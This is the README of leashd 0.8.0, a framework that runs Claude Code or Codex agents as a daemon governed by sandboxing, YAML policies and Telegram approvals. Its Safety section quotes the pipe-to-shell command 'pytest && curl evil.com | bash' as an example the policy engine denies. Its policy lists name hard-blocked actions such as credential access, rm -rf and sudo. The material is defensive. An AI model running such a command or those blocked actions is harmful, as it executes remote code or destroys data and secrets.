leashd 0.8.0

Safety-first agentic coding framework with pluggable runtimes. Run Claude Code or Codex as a governed daemon — sandbox, YAML policies, human-in-the-loop approval

leashd

Safety-first agentic coding framework. Run AI coding agents as a background daemon — govern them with policy rules, approve actions from your phone, or let them run fully autonomous with AI-driven approval, test-and-retry loops, and automatic PR creation. Supports multiple runtimes: Claude Code, OpenAI Codex, and more.

---

leashd runs as a background daemon on your dev machine. You send it natural-language coding instructions from Telegram on your phone. Each request passes through a three-layer safety pipeline — sandbox enforcement, YAML policy rules, and human-or-AI approval — before reaching the coding agent. In interactive mode, risky actions surface as Approve / Reject buttons in your chat. In autonomous mode, an AI approver evaluates tool calls, a task orchestrator drives multi-phase workflows (spec → explore → plan → implement → test → PR), and a test-and-retry loop ensures quality — all without you touching your phone. Everything is logged to an append-only audit trail.

leashd supports pluggable agent runtimes — Claude Code and OpenAI Codex ship built-in, and new runtimes can be added via the registry pattern. The same safety pipeline, approval flow, and audit trail apply regardless of which runtime you use. Switch runtimes with a single CLI command.

The result: a coding workflow that scales from phone-supervised pair programming to fully autonomous task execution, with guardrails you define — on the AI runtime of your choice.

---

How It Works

Interactive Mode

Your phone (Telegram)
        │
        ▼
   leashd daemon          ← runs in background on your dev machine
        │
        ├─ 1. Sandbox       ← path-scoped: blocks anything outside approved dirs
        ├─ 2. Policy rules  ← YAML: allow / deny / require_approval per tool/command
        └─ 3. Human gate    ← Approve / Reject buttons sent to your Telegram
                │
                ▼
         Agent runtime      ← Claude Code, Codex, or custom — reads files, writes code, runs tests

Autonomous Mode

/task "Add health check endpoint"  (Telegram)
        │
        ▼
   Task Orchestrator
        │
        ├─ spec          ← analyzes task, writes specification
        ├─ explore        ← reads codebase structure and conventions
        ├─ validate       ← checks spec against codebase findings
        ├─ plan           ← creates implementation plan
        ├─ implement      ← writes code (file writes auto-approved)
        ├─ test           ← runs test suite via TestRunnerPlugin
        ├─ retry (×3)     ← fixes failures with exponential backoff
        └─ pr             ← creates PR via gh CLI
                │
                ▼
   You get a PR link — or an escalation message if the agent gets stuck

AI approval replaces human taps: a secondary AI call evaluates each require_approval tool call in context and decides automatically. Hard blocks (credentials, rm -rf, force push) can never be overridden.

Sessions are multi-turn: the agent remembers the full conversation context, so you can iterate naturally across messages ("now add tests for that", "rename it to X").

---

Quick Start

Prerequisites

• Python 3.10+
• At least one agent runtime:
  • Claude Code CLI — installed and authenticated. The claude command must work in your terminal. (default runtime)
  • Codex CLI — installed and authenticated. The codex command must work in your terminal.
• Telegram account — to create a bot

1. Install

pip install leashd

Or with uv (recommended):

uv tool install leashd

2. Create a Telegram bot

1. Open Telegram and search for @BotFather
2. Send /newbot and follow the prompts
3. Copy the token BotFather gives you (looks like 123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11)
4. Message @userinfobot to get your numeric user ID (e.g. 981234567) — this restricts the bot to only you

3. Run the setup wizard

leashd init

The wizard prompts you for your approved directory/directories and optional Telegram credentials, and writes ~/.leashd/config.yaml. No manual config file editing needed.

4. Start the daemon

leashd start

leashd starts in the background. Check it with leashd status, stop it with leashd stop.

5. Start coding from your phone

Open Telegram, find your bot, and send something like:

"Add a health check endpoint to the FastAPI app"

The agent starts working. When it needs to do something gated by policy (e.g. write a file), you'll get an Approve / Reject button in the chat.

---

What's New in 0.8.0

Multi-runtime agent architecture — leashd is no longer tied to Claude Code. A pluggable runtime registry lets you switch between agent backends with leashd runtime set <name>. Each runtime declares its capabilities (streaming, session resume, tool approval, autonomous mode), and leashd adapts automatically. New runtimes can be added via a subprocess agent base class for CLI-driven tools.

Codex runtime — full OpenAI Codex integration via codex-sdk-python. Supports both interactive mode (with an approval bridge that routes tool calls through leashd's safety pipeline) and autonomous mode (streaming). Sessions can be resumed via Codex thread IDs. The same three-layer safety pipeline applies — sandbox, policy rules, and human-or-AI approval — with full parity to the Claude Code runtime.

Web agent reliability — /web sessions now persist granular progress to checkpoint files (Pydantic-backed), so a crash mid-workflow resumes from the last checkpoint instead of restarting. Also fixed comment duplication, Quill editor typing failures, and submit button targeting in /web linkedin_comment workflows.

See CHANGELOG.md for the full history.

---

Runtimes

leashd supports pluggable agent runtimes. The same safety pipeline, approval flow, audit trail, and Telegram integration work identically regardless of which runtime you use.

leashd runtime list        # list available runtimes
leashd runtime show        # show active runtime and its capabilities
leashd runtime set codex   # switch to Codex runtime
leashd runtime set claude  # switch back to Claude Code

Runtime	Backend	Session Resume	Autonomous Mode	Install
claude (default)	Claude Code CLI	SDK sessions	Full (task orchestrator, auto-approver)	claude CLI authenticated
codex	Codex CLI	Thread IDs	Full (streaming + approval bridge)	codex CLI authenticated

Both runtimes support interactive approval, streaming responses, and the full autonomous pipeline. Each runtime declares its capabilities via an agent capabilities model — leashd adapts features like session resume and approval routing automatically.

Adding custom runtimes — extend the SubprocessAgent base class for any CLI-driven agent tool and register it with the runtime registry.

---

Daemon Mode

leashd runs as a background process by default.

leashd start           # start daemon (background)
leashd start -f        # start in foreground (useful for debugging)
leashd status          # check if daemon is running
leashd stop            # graceful shutdown
leashd restart         # stop + start
leashd reload          # reload config without restart (SIGHUP)
leashd version         # print version and exit

Logs go to ~/.leashd/logs/app.log by default. Set LEASHD_LOG_DIR to change the path.

---

Autonomous Mode

Autonomous mode replaces manual approval taps and plan reviews with AI evaluation, adds a post-task test-and-retry loop, and drives multi-phase autonomous tasks through the task orchestrator. Send /task <description> from Telegram and come back to a PR — or an escalation message if the agent gets stuck.

leashd autonomous          # show current autonomous settings
leashd autonomous setup    # run autonomous config wizard
leashd autonomous enable   # quick-enable with defaults
leashd autonomous disable  # disable autonomous mode

Three Guarantees

1. Human-in-the-loop when it matters — hard blocks (credentials, force push, rm -rf, sudo) can never be overridden by any approver. The AI approver only handles require_approval decisions, never deny decisions.
2. Fail-safe defaults — the AutoApprover fails closed (denies on error), the AutonomousLoop escalates to the human when retries are exhausted, and circuit breakers cap both approval calls and plan revisions per session.
3. Full auditability — every AI approval decision is logged with approver_type in the same append-only JSONL audit trail. No decision is invisible.

Task Orchestrator vs Autonomous Loop

Aspect	/task (Task Orchestrator)	/edit (Autonomous Loop)
Use when	Starting from scratch — "build feature X"	You know what to change — "fix the login bug"
Phases	spec → explore → validate → plan → implement → test → PR	Single-shot: implement → test → retry
Planning	Automatic spec and plan generation with validation	No planning — goes straight to implementation
Crash recovery	Full — resumes from current phase after restart	None — starts over
Cost tracking	Per-phase breakdown and total	Session-level only

See the Autonomous Setup Guide for a full walkthrough and the Autonomous Mode Reference for the technical details.

---

Configuration

leashd is configured primarily through CLI commands — no manual file editing needed. Run leashd init once, then use subcommands for everything else.

Setup and inspection

leashd init       # first-time setup wizard — writes ~/.leashd/config.yaml
leashd config     # show resolved config (all layers merged)

Approved directories

leashd add-dir /path/to/project    # approve a directory
leashd remove-dir /path/to/project # revoke approval
leashd dirs                         # list approved directories

Runtimes

leashd runtime list        # list available runtimes
leashd runtime show        # show active runtime and capabilities
leashd runtime set codex   # switch runtime

Autonomous mode

leashd autonomous setup    # guided setup for autonomous features
leashd autonomous enable   # quick-enable with defaults
leashd autonomous disable  # disable autonomous mode
leashd autonomous show     # show current autonomous config

Browser

leashd browser show                                  # show backend and profile
leashd browser set-backend agent-browser              # switch browser backend
leashd browser set-profile ~/.leashd/browser-profile  # set persistent profile
leashd browser clear-profile                           # remove profile
leashd browser headless                                # toggle headless mode

Thinking effort

leashd effort show       # display current effort level
leashd effort set high   # set effort level (low, medium, high, max)

Skills

leashd skill list              # list installed skills (default)
leashd skill add skill.zip     # install from zip archive
leashd skill remove my-skill   # uninstall a skill
leashd skill show my-skill     # show skill details

Workspaces

leashd ws add my-saas ~/src/api ~/src/web   # create a workspace
leashd ws add my-saas ~/src/worker           # add a dir to existing workspace
leashd ws list                               # list all workspaces
leashd ws show my-saas                       # inspect repos in a workspace
leashd ws remove my-saas ~/src/worker        # remove a dir from workspace
leashd ws remove my-saas                     # remove entire workspace

Workspaces group related repos so the agent gets multi-repo context. CLAUDE.md files from all workspace directories are loaded via SDK add_dirs.

Workflows

leashd workflow list         # list available playbooks
leashd workflow show <name>  # show playbook details

Place YAML playbooks in .leashd/workflows/ (project) or ~/.leashd/workflows/ (global).

Maintenance

leashd clean    # remove all runtime artifacts
leashd reload   # reload config without restart (SIGHUP)

Config layering

leashd uses a layered config system — each layer overrides the one before it:

~/.leashd/config.yaml   ← global base (managed by leashd init / CLI commands)
.env in your project    ← per-project overrides
environment variables   ← highest priority

Advanced: environment variables

All settings are environment variables prefixed with LEASHD_. Most are managed by the CLI commands above, but these are commonly set directly in .env or as env vars:

Variable	Default	Description
LEASHD_TELEGRAM_BOT_TOKEN	—	Bot token from @BotFather. Without this, leashd runs in local CLI mode.
LEASHD_ALLOWED_USER_IDS	(no restriction)	Comma-separated Telegram user IDs that can use the bot.
LEASHD_RUNTIME	claude	Active agent runtime: "claude" or "codex".
LEASHD_SYSTEM_PROMPT	—	Custom system prompt appended to the agent.
LEASHD_POLICY_FILES	built-in default.yaml	Comma-separated paths to YAML policy files.
LEASHD_MAX_TURNS	150	Max conversation turns per request.
LEASHD_APPROVAL_TIMEOUT_SECONDS	300	Seconds to wait for approval before auto-denying.
LEASHD_MCP_SERVERS	{}	JSON dict of MCP server configurations.
LEASHD_DEFAULT_MODE	default	Default session mode: "default", "plan", or "auto".

See docs/configuration.md for the full environment variable reference (40+ settings).

---

Safety

Every tool call the agent makes passes through a three-layer pipeline before it can execute:

1. Sandbox — The agent can only touch files inside LEASHD_APPROVED_DIRECTORIES. Path traversal attempts are blocked immediately and logged as security violations.

2. Policy rules — YAML rules classify each tool call as allow, deny, or require_approval based on the tool name, command patterns, and file path patterns. Rules are evaluated in order; first match wins. Compound bash commands (&&, ||, ;) are split and evaluated segment-by-segment with deny-wins precedence — pytest && curl evil.com | bash is denied.

3. Human or AI approval — For require_approval actions, leashd either sends an inline message to Telegram with Approve and Reject buttons (interactive mode) or evaluates the tool call via the AI auto-approver (autonomous mode). If no response within the timeout, the action is auto-denied.

The safety pipeline is runtime-agnostic — the same sandbox, policy rules, and approval flow apply whether you're running Claude Code, Codex, or a custom runtime.

Everything is logged to .leashd/audit.jsonl — every tool attempt, every decision, every approver type.

Built-in policies

leashd ships five policies in policies/:

default.yaml (recommended) — balanced for everyday use.

• Auto-allows: file reads, search, grep, git status/log/diff, read-only browser tools
• Requires approval: file writes/edits, git push/rebase/merge, network commands, browser mutations
• Hard-blocks: credential file access, rm -rf, sudo, force push, pipe-to-shell, SQL DROP/TRUNCATE

strict.yaml — maximum safety, more approval taps.

• Auto-allows: only reads (Read, Glob, Grep, LS)
• Requires approval: everything else
• 2-minute approval timeout

permissive.yaml — for trusted environments where you want minimal interruptions.

• Auto-allows: reads, writes, package managers, test runners, git add/commit/stash, all browser tools
• Requires approval: git push, network commands, anything not explicitly listed
• 10-minute approval timeout

dev-tools.yaml (overlay) — auto-allows common dev commands. Loaded alongside default.yaml by default.

• Auto-allows: linters (ruff, eslint, prettier), test runners (pytest, jest, vitest), package managers (npm install, pip install, uv sync, cargo build)

autonomous.yaml — for fully autonomous operation with task orchestrator.

• Auto-allows: file writes, test runners, linters, package managers, safe git, GitHub CLI PR
• AI-evaluated: git push (feature branches), network commands, browser mutations
• Hard-blocks: credentials, force push, push to main/master, rm -rf, sudo, pipe-to-shell

Switch policies (in your .env or as an env var):

LEASHD_POLICY_FILES=policies/strict.yaml

Combine multiple policy files (rules merged, evaluated in order):

LEASHD_POLICY_FILES=policies/default.yaml,policies/my-overrides.yaml

---

Telegram Commands

Once the daemon is running and your bot is set up, these slash commands are available in chat:

Command	Description
/plan <text>	Switch to plan mode and start — agent proposes, you approve before execution
/edit <text>	Switch to edit mode and start — direct implementation
/default	Switch back to balanced default mode
/dir	Switch working directory (inline buttons)
/git <subcommand>	Full git suite: status, branch, checkout, diff, log, add, commit, push, pull
/web <instruction>	Autonomous web automation with content-level human approval
/test	9-phase agent-driven test workflow with browser automation
/task <description>	Autonomous multi-phase task: spec → explore → plan → implement → test → PR
/tasks	List active and recent tasks for the current chat
/stop	Stop all ongoing work (agent, task, loop) without resetting session
/cancel	Cancel the active task in the current chat
/ws	Manage workspaces inline
/status	Show current session, mode, and directory
/clear	Clear conversation history, cancel active tasks, and start fresh

---

Workspaces

Workspaces group related repositories so the agent gets multi-repo context across all of them simultaneously. Configure workspaces via leashd ws — see Configuration > Workspaces for the full command reference. When active, CLAUDE.md files from all workspace directories are loaded and the agent's system prompt includes multi-repo context.

---

Session Persistence

By default, sessions are stored in SQLite (.leashd/messages.db) and persist across daemon restarts — the agent remembers conversation context between sessions. Every message is stored with cost, duration, and session metadata.

For development or testing, use in-memory storage (in .env):

LEASHD_STORAGE_BACKEND=memory

---

Browser Automation

leashd supports two browser backends for the /web and /test commands — both gated by the same safety pipeline:

Backend	Install	Best for
Playwright MCP (default)	npx playwright install chromium	Test generation, MCP-native tooling
agent-browser	npm install -g agent-browser && agent-browser install	Fast Rust CLI, snapshot-based refs, cloud browser providers

Switch backends and manage profiles via leashd browser — see Configuration > Browser for all commands.

Playwright MCP — the .mcp.json at the project root pre-configures Claude Code to spawn the Playwright MCP server. Read-only browser tools (snapshots, screenshots) are auto-allowed in default.yaml; mutation tools (click, navigate, type) require approval.

agent-browser — Vercel's headless browser CLI with a native Rust binary and Node.js fallback. Uses accessibility-tree snapshots with deterministic element refs (@e1, @e2) for reliable AI-driven interaction. Supports cloud providers (Browserbase, Browser Use, Kernel) and iOS Simulator via the -p flag.

Web session checkpoints — /web sessions automatically persist progress, so if the agent crashes mid-workflow it resumes from the last checkpoint instead of restarting.

See docs/browser-testing.md for Chrome profile paths by OS, the full tool reference, and policy details.

Typical workflow

1. Start your dev server (npm run dev, uvicorn, etc.)
2. In Telegram: /test --url http://localhost:3000
3. The agent navigates, verifies, and reports — each mutation tap needs your approval

Or use the /web command for general web automation:

1. In Telegram: /web check my GitHub notifications
2. The agent navigates using your persistent browser profile, reads content, and reports back
3. Any actions (commenting, clicking) are proposed via AskUserQuestion for your approval

---

Streaming

Telegram responses stream in real time — the message updates progressively as the agent types. While tools are running, you see a live indicator (e.g., 🔧 Bash: pytest tests/). The final message includes a tool usage summary (e.g., 🧰 Bash ×3, Read, Glob).

Disable in .env:

LEASHD_STREAMING_ENABLED=false

---

CLI Mode

No Telegram token? leashd falls back to a local REPL — useful for testing your config before going mobile:

# Don't set LEASHD_TELEGRAM_BOT_TOKEN, then:
leashd start -f
# > type your prompts here

Note: actions requiring approval are auto-denied in CLI mode since there's no approval UI.

---

Logging

leashd uses structlog for structured logging. Set log level in .env:

LEASHD_LOG_LEVEL=DEBUG     # full trace including policy decisions
LEASHD_LOG_LEVEL=INFO      # default — operational events
LEASHD_LOG_LEVEL=WARNING   # warnings and errors only

File logging (JSON, rotating) is enabled by default:

LEASHD_LOG_DIR=~/.leashd/logs

Key log event sequence at INFO:

engine_building → engine_built → daemon_starting → session_created →
request_started → agent_execute_started → agent_execute_completed →
request_completed

---

Architecture

leashd's core is the Engine, which receives messages from connectors, runs them through middleware (auth, rate limiting), delegates to the active agent runtime, and sends responses back. The RuntimeRegistry manages pluggable agent backends — each runtime registers its capabilities (streaming, session resume, tool approval, autonomous support) and the Engine adapts accordingly. Every tool call the agent makes is intercepted by the Gatekeeper, which orchestrates the three-layer safety pipeline. An EventBus decouples subsystems — plugins subscribe to events like tool.allowed, tool.denied, approval.requested, and task.submitted. Connectors (Telegram, CLI) and storage backends (SQLite, memory) are swappable via protocol classes. The TaskOrchestrator and AutonomousLoop plug into the event bus as autonomous execution plugins.

Telegram connector
      │
   Middleware (auth, rate limit)
      │
   Engine ──── EventBus ──── TaskOrchestrator
      │                       AutonomousLoop
   RuntimeRegistry
      ├─ Claude Code
      ├─ Codex
      └─ (custom)
      │
   Gatekeeper ──────────────────────────────┐
      │                                     │
   Active agent runtime          1. Sandbox check
      │                          2. Policy rule match
      └── tool call ──────────▶  3. Human / AI approval

---

Development

# Clone and install (including dev dependencies)
git clone [e-mail]:vmehera123/leashd.git && cd leashd
uv sync

# Run tests
uv run pytest tests/
uv run pytest tests/test_policy.py -v          # single file
uv run pytest --cov=leashd tests/              # with coverage

# Lint and format
uv run ruff check .
uv run ruff check --fix .
uv run ruff format .

---

Status

leashd is alpha — the API and config schema may change between versions. Core functionality (daemon, safety pipeline, Telegram integration, policy engine, task orchestrator, multi-runtime support) is stable and tested at 89%+ coverage. Not recommended for production environments where agent actions could have irreversible consequences without review.

If you hit a bug or have a feature idea, open an issue.

---

License

Apache 2.0